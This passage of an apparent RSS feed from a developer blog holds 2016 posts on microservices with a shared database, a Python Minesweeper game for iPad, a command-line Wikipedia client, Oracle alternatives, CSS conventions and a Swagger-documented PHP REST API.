height: 7%; top: 93%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-06-05: 111" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 4%; top: 96%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-06-04: 132" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 5%; top: 95%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-06-03: 1771" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 71%; top: 29%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-06-02: 191" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 8%; top: 92%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-06-01: 149" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 6%; top: 94%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-31: 134" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 5%; top: 95%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-30: 119" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 5%; top: 95%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-29: 132" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 5%; top: 95%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-28: 113" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 5%; top: 95%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-27: 139" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 6%; top: 94%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-26: 168" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 7%; top: 93%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-25: 171" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 7%; top: 93%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-24: 146" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 6%; top: 94%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-23: 123" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 5%; top: 95%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-22: 108" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 4%; top: 96%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-21: 115" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 5%; top: 95%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-20: 121" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 5%; top: 95%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-19: 123" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 5%; top: 95%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-18: 142" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 6%; top: 94%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-17: 195" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 8%; top: 92%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-16: 190" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 8%; top: 92%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-15: 145" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 6%; top: 94%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-14: 87" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 3%; top: 97%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-13: 126" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 5%; top: 95%"></a></div></div><div style="float: right; width: 3.3333333333333%; height: 300px;"><div style="width: 100%; height: 100%; background-color: #eee;"><a title="2016-05-12: 116" style="display: block; position: relative; margin: 0 10%; background-color: #aaa; height: 5%; top: 95%"></a></div></div><div style="position: relative; clear:both; border-top: 1px solid #aaa;">Unique visitors (y-axis) per day (x-axis)</div></div>
<p>As you can see the graph renders nicely over the full width of the container and
is smart enough to determine the y-axis values by itself. It is also responsive
and works fine on a smaller screen. Just give the function a list of values and
a height in pixels to render the graph at (and optionally a title and a
description).</p>
]]></content:encoded>
    </item>
    <item>
      <title>Microservices and single database</title>
      <link>https://www.tqdev.com/2016-microservices-and-single-database/</link>
      <pubDate>Mon, 06 Jun 2016 08:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-microservices-and-single-database/</guid>
      <description>&lt;p&gt;Microservices are highly popular and require that every service manages it&amp;rsquo;s own
data. This does not necessarily mean that each service has it&amp;rsquo;s own database
server. It can also only manage it&amp;rsquo;s data in one big central database system. As
long as nobody else, but the service, interacts with that data it is still in
line with the ideas of microservices.&lt;/p&gt;
&lt;h3 id=&#34;one-database-multiple-services&#34;&gt;One database, multiple services&lt;/h3&gt;
&lt;p&gt;Having one database server brings several advantages. For one, it does not
require you to change your data structure if you come from a monolithic
application. Second it also brings as an advantage that you can still have
constraints to ensure consistency. As a third advantage I see that it also
enables you to do simple backups and data analysis. You can let all these
services have their own tables, their own scheme or even their own database,
because unlike popular believe cross database queries are not that inefficient.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Microservices are highly popular and require that every service manages it&rsquo;s own
data. This does not necessarily mean that each service has it&rsquo;s own database
server. It can also only manage it&rsquo;s data in one big central database system. As
long as nobody else, but the service, interacts with that data it is still in
line with the ideas of microservices.</p>
<h3 id="one-database-multiple-services">One database, multiple services</h3>
<p>Having one database server brings several advantages. For one, it does not
require you to change your data structure if you come from a monolithic
application. Second it also brings as an advantage that you can still have
constraints to ensure consistency. As a third advantage I see that it also
enables you to do simple backups and data analysis. You can let all these
services have their own tables, their own scheme or even their own database,
because unlike popular believe cross database queries are not that inefficient.</p>
<h3 id="multiple-database-servers">Multiple database servers</h3>
<p>When you have multiple legacy systems that you need to combine into one piece of
software it makes perfect sense to allow each of these systems to have their own
database server. You may be using systems from different vendors, but by
integrating into standard interfaces that may not be a problem at all. One
approach is to use a API gateway and use REST APIs as interfaces. Another
approach is to connect all services to a message bus or queuing system such as
<a href="https://www.rabbitmq.com/">RabbitMQ</a> or even <a href="http://redis.io/">Redis</a>.</p>
<h3 id="synchronizing-and-consistency">Synchronizing and consistency</h3>
<p>The problem is that when you have several systems that it is hard to ensure
consistency. One pragmatic way to solve this is to make &ldquo;check queries&rdquo; that you
run scheduled and will report database inconsistencies when they appear. This is
less strict than a constraint, but still allows you to act on inconsistent data
and track down it&rsquo;s source. The problem can easily be seen when a user changes
some of its account details or permission for the user are increased or revoked.
In those cases micros services may have trouble updating each other,
synchronizing these globally important properties. Also different caching
timeouts on the same values may lead to inconsistency, even when the shared data
is replicated without problems. You may also encounter a problem called
&ldquo;referential integrity&rdquo; also known as &ldquo;dangling references&rdquo;, when references to
records of other systems exist, but these records in the other system no longer
exist.</p>
<h3 id="stateless-services-and-shared-state">Stateless services and shared state</h3>
<p>If you are building a web application you can use the session storage as a
shared state and let all services be completely stateless. This way it is very
well possible to effectively build an application as you don&rsquo;t have to retrieve
all related (shared) data on every request to the services. Let&rsquo;s say that you
have one database and there are several tables related to user management. You
can have a micro service that focuses on user management and another micro
service that focuses on management of customer resources. Both may need access
to data provided by the authentication and authorization service, adding
effective user object and it&rsquo;s roles to the session data.</p>
<h3 id="112-110x">1+1&lt;2, 1=10x</h3>
<p>When building microservices you benefit from the fact that when software
developers are working together one plus one does not equal two. This is because
the collaboration requires a lot of ceremony. Suddenly coding standards are
needed, git work-flow agreements, code reviews, architectural meetings,
decisions about technology choice, post-mortem investigations, hand-overs,
extensive functional and technical documentation, data dictionaries, risk
assessment sessions, bug triage, planning sessions, retrospectives and I&rsquo;m sure
I still forgot many of the overhead activities that a software team has. All
this overhead is not necessary when you hire a good full-stack developer, give
that person a quiet room, possible one or more assistants and enjoy the 10x
benefit. Microservices may help you to scale this approach.</p>
<h3 id="unpopular-opinion">Unpopular opinion</h3>
<p>It is quite an unpopular opinion when you want to cut an application into small
pieces allowing everybody to write it&rsquo;s own part. Management is afraid of the
dependency of individuals (often called the &ldquo;bus&rdquo; factor) and developers are
afraid that they have to work on a small and thus boring part of the system. In
reality you see in large teams also very high dependency on certain people,
despite all the expensive effort to avoid that. And when good people leave you
have an excellent chance for a next developer to refactor that module to improve
the sense of ownership and encourage &ldquo;gardening&rdquo; along the way, thus keeping the
code in good shape. The fear of boredom for programmers can be mitigated by
replacing it with ownership and focus on quality. By letting the senior
developers set-up the new services and letting the juniors take over the
responsibility for existing services you can allow programmers to move towards
new services after a few years (or faster, depending on the growth of your
company).</p>
]]></content:encoded>
    </item>
    <item>
      <title>Minesweeper in Python for iPad</title>
      <link>https://www.tqdev.com/2016-minesweeper-in-python-for-ipad/</link>
      <pubDate>Fri, 03 Jun 2016 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-minesweeper-in-python-for-ipad/</guid>
      <description>&lt;p&gt;Pythonista iOS app allows you to write Python on your iPad.
&lt;a href=&#34;https://github.com/mevdschee/pythonista-minesweeper&#34;&gt;I wrote Minesweeper&lt;/a&gt; 2
years ago and with version 2.0 of
&lt;a href=&#34;http://omz-software.com/pythonista/&#34;&gt;Pythonista&lt;/a&gt; it did not work anymore. I
fixed that and also added three features (first click is not a bomb, timer
starts on first click, support chording) contributed on the
&lt;a href=&#34;https://forum.omz-software.com/topic/713/sharing-my-minesweeper-implementation&#34;&gt;OMZ forum&lt;/a&gt;
by a user named &amp;ldquo;git-bee&amp;rdquo; on github.&lt;/p&gt;
&lt;h3 id=&#34;pythonista-version-20&#34;&gt;Pythonista version 2.0&lt;/h3&gt;
&lt;p&gt;A lot has changed in version 2.0.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The completely revamped scene module gives you a lot more possibilities for
building 2D games and animations in Pythonista. You can even use custom OpenGL
fragment shaders. Lots of new sample code and a tutorial for building a simple
game are available in the included Examples folder.
&lt;a href=&#34;http://omz-software.com/pythonista/docs/ios/new.html&#34;&gt;source&lt;/a&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Pythonista iOS app allows you to write Python on your iPad.
<a href="https://github.com/mevdschee/pythonista-minesweeper">I wrote Minesweeper</a> 2
years ago and with version 2.0 of
<a href="http://omz-software.com/pythonista/">Pythonista</a> it did not work anymore. I
fixed that and also added three features (first click is not a bomb, timer
starts on first click, support chording) contributed on the
<a href="https://forum.omz-software.com/topic/713/sharing-my-minesweeper-implementation">OMZ forum</a>
by a user named &ldquo;git-bee&rdquo; on github.</p>
<h3 id="pythonista-version-20">Pythonista version 2.0</h3>
<p>A lot has changed in version 2.0.</p>
<blockquote>
<p>The completely revamped scene module gives you a lot more possibilities for
building 2D games and animations in Pythonista. You can even use custom OpenGL
fragment shaders. Lots of new sample code and a tutorial for building a simple
game are available in the included Examples folder.
<a href="http://omz-software.com/pythonista/docs/ios/new.html">source</a></p></blockquote>
<p>In my case I only had to change a few small things in the script. Debugging was
the hardest part as it seems the functions that called the Python Image Library
(PIL) were terminated without a warning and the game kept running. It turned out
the Size object could no longer be used to indicate size in PIL as Size contains
floats and PIL needs ints.</p>
<blockquote>
<p>If you’ve used a previous version of Pythonista, you may also be familiar with
the Layer and Animation classes that were conceptually similar to Node and
Action. These classes are still available for backwards compatibility, but it
is strongly recommended to use the new Node/Action APIs instead because they
provide significantly better performance.
<a href="http://omz-software.com/pythonista/docs/ios/scene.html#module-scene">source</a></p></blockquote>
<p>The performance of games has increased, especially if you use the new Node
classes instead of the old Layer classes. My game is so simple that you don&rsquo;t
really notice this.</p>
<h3 id="3-minesweeper-features">3 Minesweeper features</h3>
<p>The following features are part of the original Microsoft Minesweeper and were
missing from my implementation. I only merged the implementation that was
suggested by git-bee, so that&rsquo;s where all credits should go.</p>
<h4 id="1-first-click-is-not-a-bomb">1. First click is not a bomb</h4>
<p>It is very annoying when you start playing minesweeper and you lose the game on
the first move. The original, Microsoft Windows, version of the game prevents
this. My Python implementation was lacking this feature and in the latest
release this functionality was added.</p>
<h4 id="2-timer-starts-on-first-click">2. Timer starts on first click</h4>
<p>While the game should only start the timer when you click the first time on the
board, my Python implementation was starting the timer right away. This way you
are never able to achieve that 4 second world record. It may also not help that
you have to hold the tile to right click, costing you precious milliseconds.</p>
<h4 id="3-support-chording">3. Support chording</h4>
<p>Chording is the thing that happens when you right click on an open tile. I
didn&rsquo;t know that you could even do this, but after reading the
<a href="http://www.minesweeper.info/wiki/Windows_Minesweeper">minesweeper wiki</a> I
learned about this important technique. It helps you to play faster and it
suddenly also makes sense to mark bombs. Until I learned about &ldquo;chording&rdquo; I
never understood why you would mark bombs at all.</p>
<h3 id="pythonista-version-3-edit-2016-06-15">Pythonista version 3 (Edit: 2016-06-15)</h3>
<p>On June 14th, 2016 OMZ released Pythonista version 3. This new version runs on
Python 3.5 and is thus not fully backwards compatible with the Python 2.7 based
Pythonista 2.0. Github user &ldquo;mncfre&rdquo; has made Minesweeper compatible with this
new version and you find this version it in the file &ldquo;Mines3.py&rdquo;.</p>
<h3 id="source">Source</h3>
<p>Check out
<a href="https://github.com/mevdschee/pythonista-minesweeper">Pythonista Minesweeper</a> on
Github.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Command line Wikipedia client updated</title>
      <link>https://www.tqdev.com/2016-command-line-wikipedia-client-updated/</link>
      <pubDate>Tue, 31 May 2016 08:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-command-line-wikipedia-client-updated/</guid>
      <description>&lt;p&gt;The &amp;ldquo;wped&amp;rdquo; command line Wikipedia client has received an update. It now supports
language selection and it has an alternative &amp;ldquo;wikt&amp;rdquo; command for Wiktionary.
Formerly the tool was hard-coded to connect to &amp;ldquo;en.wikipedia.org&amp;rdquo;, but now both
the language and domain can be chosen. This change was initiate by a community
pull request and I love the way this works on Github.&lt;/p&gt;
&lt;h3 id=&#34;the-wped-wikipedia-command&#34;&gt;The &amp;ldquo;wped&amp;rdquo; Wikipedia command&lt;/h3&gt;
&lt;p&gt;Below you see a sample usage of the &amp;ldquo;wped&amp;rdquo; command:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>The &ldquo;wped&rdquo; command line Wikipedia client has received an update. It now supports
language selection and it has an alternative &ldquo;wikt&rdquo; command for Wiktionary.
Formerly the tool was hard-coded to connect to &ldquo;en.wikipedia.org&rdquo;, but now both
the language and domain can be chosen. This change was initiate by a community
pull request and I love the way this works on Github.</p>
<h3 id="the-wped-wikipedia-command">The &ldquo;wped&rdquo; Wikipedia command</h3>
<p>Below you see a sample usage of the &ldquo;wped&rdquo; command:</p>
<pre><code>maurits@nuc:~$ wped wikipedia
                                 Search results

Wikipedia

   Wikipedia (/ˌwɪkᵻˈpiːdiə/ or /ˌwɪkiˈpiːdiə/ WIK-i-PEE-dee-ə) is an
   Internet encyclopedia, supported and hosted by the non-profit Wikimedia
   Foundation.

Wikimedia Foundation

   Wikimedia Foundation, Inc. (WMF) is an American non-profit and charitable
   organization headquartered in San Francisco, California.

Wikimedia Commons

   Wikimedia Commons (or simply Commons) is an online repository of free-use
   images, sound, and other media files.
maurits@nuc:~$
</code></pre>
<p>You can read a full article using the &ldquo;-f&rdquo; flag.</p>
<h3 id="the-wikt-wiktionary-command">The &ldquo;wikt&rdquo; Wiktionary command</h3>
<p>Below you see a sample usage of the &ldquo;wikt&rdquo; command:</p>
<pre><code>maurits@nuc:~$ wikt -f command-line
                                  command line

English[edit]

  Noun[edit]

   command line ‎(plural command lines)

    1. A shell, a command line interface; usually used with the definite
       article.

                    I'm so used to the command line that I don't even know
                    how to find things in the GUI.
                    The command line offers a lot of helpful features, such
                    as tab completion and wildcard expansion.

    2. (computing) The text prompt presented to the user in a command line
       interface.

                    Type the following at the command line: du -s -h.

    3. A line of text that is entered at such a prompt.

                    Use the following command line to compile a file without
                    linking: gcc -c main.c -o main.o

    Translations[edit]

   text prompt

     * Chinese:                               * Japanese: コマンドライン
                                                ‎(komandorain)
               Mandarin: 命令行               * Persian: خط فرمان ‎(xatt-e
               ‎(mìnglìngháng)                  farmân)
                                              * Portuguese: linha de
     * Czech: příkazový řádek m, příkazová      comando f
       řádka f                                * Romanian: text de comandă,
     * Dutch: opdrachtregel c,                  linie de comandă (linie
       commandoregel (nl) c                     textuală de comandă)
     * French: ligne de commande (fr) f       * Russian: кома́ндная
     * German: Kommandozeile f,                 строка́ (ru) f ‎(komándnaja
       Befehlszeile f                           stroká)

              source: https://en.wiktionary.org/wiki/command_line
maurits@nuc:~$
</code></pre>
<p>You can search for words by leaving out the &ldquo;-f&rdquo; flag.</p>
<h3 id="download">Download</h3>
<p>You find this free software on <a href="https://github.com/mevdschee/wped">Github</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Alternatives to Oracle products</title>
      <link>https://www.tqdev.com/2016-alternatives-for-oracle-products/</link>
      <pubDate>Sat, 28 May 2016 17:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-alternatives-for-oracle-products/</guid>
      <description>&lt;p&gt;Oracle sued Google over some alternative implementation of an open source API.
Developers world-wide are appalled by this move. Fortunately there is something
you can do: Stop using Oracle products! There are plenty alternatives that are a
safer choice. This posts lists the ones I could find. To avoid that this becomes
a long boring one sided rant I will not explain the details of the case, but
feel free to look it up: it is nasty.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Oracle sued Google over some alternative implementation of an open source API.
Developers world-wide are appalled by this move. Fortunately there is something
you can do: Stop using Oracle products! There are plenty alternatives that are a
safer choice. This posts lists the ones I could find. To avoid that this becomes
a long boring one sided rant I will not explain the details of the case, but
feel free to look it up: it is nasty.</p>
<h4 id="1-openjdk-instead-of-sun-java">1. OpenJDK instead of Sun Java</h4>
<p>OpenJDK is a free implementation of Java (governed by Oracle).</p>
<h4 id="2-mariadb-instead-of-ab-mysql">2. MariaDB instead of AB MySQL</h4>
<p>MariaDB is an (Oracle) free fork of MySQL</p>
<h4 id="3-libreoffice-instead-of-sun-openoffice">3. LibreOffice instead of Sun OpenOffice</h4>
<p>LibreOffice is an (Oracle) free fork of OpenOffice</p>
<h4 id="4-illumos-instead-of-sun-solaris">4. Illumos instead of Sun Solaris</h4>
<p>Illumos is an (Oracle) free implementation of Solaris</p>
<h4 id="5-postgresql-instead-of-oracle-database">5. PostgreSQL instead of Oracle database</h4>
<p>PostgreSQL is an (Oracle) free implementation of an Oracle-like DBMS.</p>
<h4 id="6-kvm-instead-of-innotek-virtualbox">6. KVM instead of Innotek Virtualbox</h4>
<p>KVM is an (Oracle) free implementation of VM technology for Linux.</p>
<h4 id="7-jenkins-instead-of-sun-hudson">7. Jenkins instead of Sun Hudson</h4>
<p>Jenkins is an (Oracle) free fork of Hudson.</p>
<h3 id="freedom-matters">Freedom matters</h3>
<p>I can ensure you that you buy yourself a nice amount of freedom when choosing
the above alternatives. Freedom that turns out to be very valuable as Google can
now testify. It seems Android is now switching to OpenJDK to avoid any further
problems with Oracle. They are probably asking themselves why they didn&rsquo;t make
this move earlier, because these run-times are almost 100% compatible and it
could have prevented a 9 billion dollar claim.</p>
<h3 id="oracle-is-everywhere">Oracle is everywhere</h3>
<p>And if you are doing business using an Oracle product, check out these
alternatives! Even when you don&rsquo;t use Oracle directly, but your company has
software built on Java technology you may want to check whether or not you can
switch to OpenJDK to run it. Switching to OpenJDK or other (Oracle) free
software can be costly in some cases, but not switching may be costly as well,
as we can now see in this Oracle vs. Google lawsuit.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Front-end development is a joke</title>
      <link>https://www.tqdev.com/2016-front-end-development-is-a-joke/</link>
      <pubDate>Wed, 25 May 2016 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-front-end-development-is-a-joke/</guid>
      <description>&lt;p&gt;There are some self-proclaimed &amp;ldquo;expert&amp;rdquo; front-end developers on the Internet
talking about &amp;ldquo;guidelines&amp;rdquo; for large scale CSS projects that are absolutely
absurd. I like absurd jokes and I am pretty amused by these &amp;ldquo;guidelines&amp;rdquo;. But a
lot of people seem to be taken these &amp;ldquo;technologies&amp;rdquo; seriously. To protect the
industry and make it a less toxic environment for beginners I will debunk these
&amp;ldquo;CSS naming conventions&amp;rdquo; in this post.&lt;/p&gt;
&lt;h3 id=&#34;the-serious-offenders&#34;&gt;The serious offenders&lt;/h3&gt;
&lt;p&gt;The following acronyms promote absurd use of CSS and beginners should be aware
that these are jokes:&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>There are some self-proclaimed &ldquo;expert&rdquo; front-end developers on the Internet
talking about &ldquo;guidelines&rdquo; for large scale CSS projects that are absolutely
absurd. I like absurd jokes and I am pretty amused by these &ldquo;guidelines&rdquo;. But a
lot of people seem to be taken these &ldquo;technologies&rdquo; seriously. To protect the
industry and make it a less toxic environment for beginners I will debunk these
&ldquo;CSS naming conventions&rdquo; in this post.</p>
<h3 id="the-serious-offenders">The serious offenders</h3>
<p>The following acronyms promote absurd use of CSS and beginners should be aware
that these are jokes:</p>
<ol>
<li>UCSS: Universal CSS (at least they admit it is a joke)</li>
<li>ACSS: Atomic CSS (almost as crazy, but more dangerous)</li>
</ol>
<p>They all promote redefining CSS elements in class names and/or class names that
represent elements in the HTML. They claim to do this to &ldquo;avoid redundancy&rdquo;,
&ldquo;prevent clutter&rdquo; and &ldquo;improve scalability&rdquo;, yeah right!</p>
<p>I can agree on one point: writing all your CSS inline (in the &ldquo;style&rdquo; property
of your HTML5 elements) is probably not such a good idea if you ever want to
change the layout/theme of your application.</p>
<p>Nevertheless the above &ldquo;inventions&rdquo; are pretty stupid. By moving the styles from
the &ldquo;style&rdquo; to the &ldquo;class&rdquo; property you are only making matters worse.</p>
<h3 id="very-mediocre-solutions">Very mediocre solutions</h3>
<p>The following ideas are much better, but should probably still be avoided for
efficient and scalable front-end development:</p>
<ol>
<li>BEM: Block, Element, Modifier</li>
<li>SMACSS: Scalable and Modular Architecture for CSS</li>
<li>OOCSS: Object Oriented CSS</li>
<li>MaintainableCSS: modular, scalable and of course, maintainable CSS</li>
</ol>
<p>They are trying to structure the CSS, working around some problems, but by not
prescribing the HTML structure they are missing an essential factor and your
large scale project will still be a big mess.</p>
<h3 id="the-answer">The answer?</h3>
<p>I hear you asking: &ldquo;If you know so well that all this is wrong, then what is the
right way?&rdquo; Fortunately the answer is simple: A style-guide using semantic class
names in combination with prescribed HTML for UI elements! Where the class names
describe what the HTML represents and the styles are applied accordingly. These
class names should be as abstract as possible, representing the intention of the
HTML element(s) in the style-guide and not the detailed representation.</p>
<p>I feel that <a href="http://getbootstrap.com/">Bootstrap</a> was the first to try to do
this and developers loved it. Other great examples of this philosophy are
<a href="http://semantic-ui.com/">Semantic UI</a> and
<a href="http://foundation.zurb.com/sites/docs/">Zurb Foundation</a>. Now go check all of
these out and don&rsquo;t get back here before you gave one a serious try! Oh, and if
you think these are missing some important UI elements I can tell you: they
aren&rsquo;t. You don&rsquo;t need those fancy custom UI components to create a good
intuitive UI, it only requires recognizable
<a href="https://www.sitepoint.com/build-your-perfect-interface-with-ui-design-patterns/">UI design patterns</a>.</p>
<h3 id="scaling-the-entire-development-process">Scaling the entire development process</h3>
<p>The surprising thing about these frameworks is that they do not only allow the
front-end development to scale, they make the entire software development more
efficient. By introducing a style-guide that prescribes CSS and HTML for a set
of approved UI elements a very precise split of responsibilities is introduced.
This means that direct dependencies in the software development process, between
front-end and back-end developers are removed and the whole process becomes more
efficient.</p>
<p>Some front-end developers resist using the above frameworks, afraid of the
efficiency these style-guides bring, afraid that they are no longer relevant.
Others embrace this innovation and excel, being more valuable and productive
than ever. Lots of front-end developers are vain enough to redo this excellent
work into their own, often mediocre, style-guide. Great for them, as it sounds
like an awesome and important challenge. But I guess that only if you work at
Yahoo, Google or Facebook this may (from a business perspective) be a good idea.</p>
]]></content:encoded>
    </item>
    <item>
      <title>A Swagger documented REST API</title>
      <link>https://www.tqdev.com/2016-swagger-documented-rest-api/</link>
      <pubDate>Mon, 23 May 2016 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-swagger-documented-rest-api/</guid>
      <description>&lt;p&gt;&amp;ldquo;A fully documented REST API&amp;rdquo; in five minutes? With Swagger you can! Simply
upload &lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;&amp;ldquo;api.php&amp;rdquo;&lt;/a&gt;, configure the
database and load up the PHP script. You will see a huge JSON object in your
browser. This is the Swagger 2.0 standardized description of your generated API
(based on your database structure). The good part? You can point the
&lt;a href=&#34;http://swagger.io/swagger-ui/&#34;&gt;Swagger UI tool&lt;/a&gt; to this URL and it will make
beautiful documentation for you, like &lt;a href=&#34;http://petstore.swagger.io/&#34;&gt;this&lt;/a&gt; one.
You can also Copy/Paste the JSON code into the
&lt;a href=&#34;http://editor.swagger.io&#34;&gt;Swagger editor&lt;/a&gt; to customize it. In the main menu of
the editor choose &amp;ldquo;File&amp;rdquo; and then choose &amp;ldquo;Paste JSON&amp;hellip;&amp;rdquo;.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>&ldquo;A fully documented REST API&rdquo; in five minutes? With Swagger you can! Simply
upload <a href="https://github.com/mevdschee/php-crud-api">&ldquo;api.php&rdquo;</a>, configure the
database and load up the PHP script. You will see a huge JSON object in your
browser. This is the Swagger 2.0 standardized description of your generated API
(based on your database structure). The good part? You can point the
<a href="http://swagger.io/swagger-ui/">Swagger UI tool</a> to this URL and it will make
beautiful documentation for you, like <a href="http://petstore.swagger.io/">this</a> one.
You can also Copy/Paste the JSON code into the
<a href="http://editor.swagger.io">Swagger editor</a> to customize it. In the main menu of
the editor choose &ldquo;File&rdquo; and then choose &ldquo;Paste JSON&hellip;&rdquo;.</p>
<h3 id="beyond-documentation">Beyond documentation</h3>
<p>Why not scaffold the entire back-end? I honestly don&rsquo;t know why not. I extended
the Swagger definition a bit and added &ldquo;x-references&rdquo;, &ldquo;x-referenced&rdquo; and
&ldquo;x-primary-key&rdquo; as optional properties to the fields in the response object.
Then I started coding. Although it is far from finished, I have already
committed
<a href="http://i.imgur.com/6Eodrpp.png">a first version that shows pretty well what the application will feel like</a>.
I added a bit of Bootstrap 3 for a slick look. It feels fast, documented,
API-first, but admittedly a bit &ldquo;generated&rdquo;.</p>
<h3 id="customization-options">Customization options</h3>
<p>To allow you to replace the &ldquo;generated&rdquo; feel with some sophisticated &ldquo;custom
made software&rdquo; feel I will add customization options. Currently I am thinking
about the following callbacks:</p>
<ul>
<li><code>table_name_formatter</code>: to pretty print the name of a table</li>
<li><code>column_name_formatter</code>: to pretty print the name of a column</li>
<li><code>column_formatter</code>: to pretty print the name of a column value</li>
<li><code>input_field_formatter</code>: to customize rendering of the input field</li>
<li><code>reference_formatter</code>: formatting references in hyperlinks/dropdowns</li>
</ul>
<p>It will also be possible to override the header and footer to fully customize
the layout used. The file is named &ldquo;ui.php&rdquo; and can be found on the
<a href="https://github.com/mevdschee/php-crud-ui">PHP-CRUD-UI Github repository</a>.</p>
<h3 id="to-meta-program-or-not-to-meta-program">To meta program or not to meta program</h3>
<p>This type of software has the huge advantage that it consists of less lines of
code and that it gets you started fast. In my experience most business software
does more or less the same, so this approach makes sense. Fellow programmers may
try to convince you that their project is very special, but more often than not
it isn&rsquo;t. Most people simply need: relational data, a fully documented API and a
UI to modify the data (styled in company colors and preferably based on the
API). This software tries to provide all of that with little code and
customizable to satisfy your customer. It does not yet have authentication
(yet), but that is easy to add.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API on Github</a>.</li>
<li><a href="https://github.com/mevdschee/php-crud-ui">PHP-CRUD-UI on Github</a>.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Installing Adminer on Ubuntu 16.04</title>
      <link>https://www.tqdev.com/2016-installing-adminer-ubuntu/</link>
      <pubDate>Fri, 20 May 2016 09:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-installing-adminer-ubuntu/</guid>
      <description>&lt;p&gt;As I wrote
